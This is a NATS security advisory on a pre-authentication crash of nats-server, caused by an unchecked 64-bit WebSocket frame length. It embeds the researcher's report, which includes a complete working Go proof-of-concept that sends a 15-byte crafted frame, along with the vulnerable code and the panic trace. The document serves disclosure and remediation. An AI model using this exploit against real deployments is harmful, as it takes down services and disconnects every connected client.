NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.

Problem Description

A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.

Affected versions

Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5

Workarounds

This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.

Solution

Upgrade the NATS server to a fixed version.

Credits

This was reported to the NATS maintainers by GitHub user Mistz1.
Also independently reported by GitHub user jiayuqi7813.

---

Report by @Mistz1

Summary

An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).

Details

Vulnerable code: server/websocket.go line 278

r.rem = int(binary.BigEndian.Uint64(tmpBuf))

When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.

Attack chain:

1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., 0x8000000000000001).

2. At line 278, int(0x8000000000000001) produces -9223372036854775807 on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).

3. r.rem is now negative. At line 307–311, the bounds clamp fails:

   n = r.rem                    // n = -9223372036854775807
   if pos+n > max {             // 14 + (-huge) = negative, NOT > max → FALSE
       n = max - pos            // clamp NEVER fires
   }
   b = buf[pos : pos+n]         // buf[14 : -9223372036854775793] → PANIC
   

   The addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.

4. There is no defer recover() anywhere in the goroutine chain:

   • startGoRoutine: go func() { f() }() — no recovery
   • readLoop: defer only does cleanup — no recovery

   The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.

5. The WebSocket frame is parsed in wsRead() called from readLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.

Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.

PoC

Server configuration (test-ws.conf):

listen: 127.0.0.1:4222

websocket {
    listen: "127.0.0.1:9222"
    no_tls: true
}

Start the server:

nats-server -c test-ws.conf

Exploit (poc_ws_crash.go):

package main

import (
	"bufio"
	"encoding/binary"
	"fmt"
	"net"
	"net/http"
	"os"
	"time"
)

func main() {
	target := "127.0.0.1:9222"
	if len(os.Args) > 1 {
		target = os.Args[1]
	}

	fmt.Printf("[*] Connecting to %s...\n", target)
	conn, err := net.DialTimeout("tcp", target, 5*time.Second)
	if err != nil {
		fmt.Printf("[-] Connection failed: %v\n", err)
		os.Exit(1)
	}
	defer conn.Close()

	// WebSocket upgrade
	req, _ := http.NewRequest("GET", "http://"+target, nil)
	req.Header.Set("Upgrade", "websocket")
	req.Header.Set("Connection", "Upgrade")
	req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
	req.Header.Set("Sec-WebSocket-Version", "13")
	req.Header.Set("Sec-WebSocket-Protocol", "nats")
	req.Write(conn)

	conn.SetReadDeadline(time.Now().Add(5 * time.Second))
	resp, err := http.ReadResponse(bufio.NewReader(conn), req)
	if err != nil || resp.StatusCode != 101 {
		fmt.Printf("[-] Upgrade failed\n")
		os.Exit(1)
	}
	fmt.Println("[+] WebSocket established")
	conn.SetReadDeadline(time.Time{})

	// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
	frame := make([]byte, 15)
	frame[0] = 0x82                                             // FIN + Binary
	frame[1] = 0xFF                                             // MASK + 127 (64-bit length)
	binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
	frame[10] = 0xDE                                            // Mask key
	frame[11] = 0xAD
	frame[12] = 0xBE
	frame[13] = 0xEF
	frame[14] = 0x41                                            // 1 payload byte

	fmt.Printf("[*] Sending: %x\n", frame)
	conn.Write(frame)

	time.Sleep(2 * time.Second)

	// Verify crash
	conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
	if err != nil {
		fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed")
		os.Exit(0)
	}
	conn2.Close()
	fmt.Println("[-] Server still running")
}

Run:

go build -o poc_ws_crash poc_ws_crash.go
./poc_ws_crash

Observed server output before termination:

panic: runtime error: slice bounds out of range [:-9223372036854775793]

goroutine 13 [running]:
github.com/nats-io/nats-server/v2/server.(*client).wsRead(...)
        server/websocket.go:311 +0xa93
github.com/nats-io/nats-server/v2/server.(*client).readLoop(...)
        server/client.go:1434 +0x768
github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()
        server/server.go:4078 +0x32

Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.

Impact

Vulnerability type: Pre-authentication remote denial of service (full process crash).

Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.

Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.

Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.

( NATS retains the original external report below the cut, with exploit details.
This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)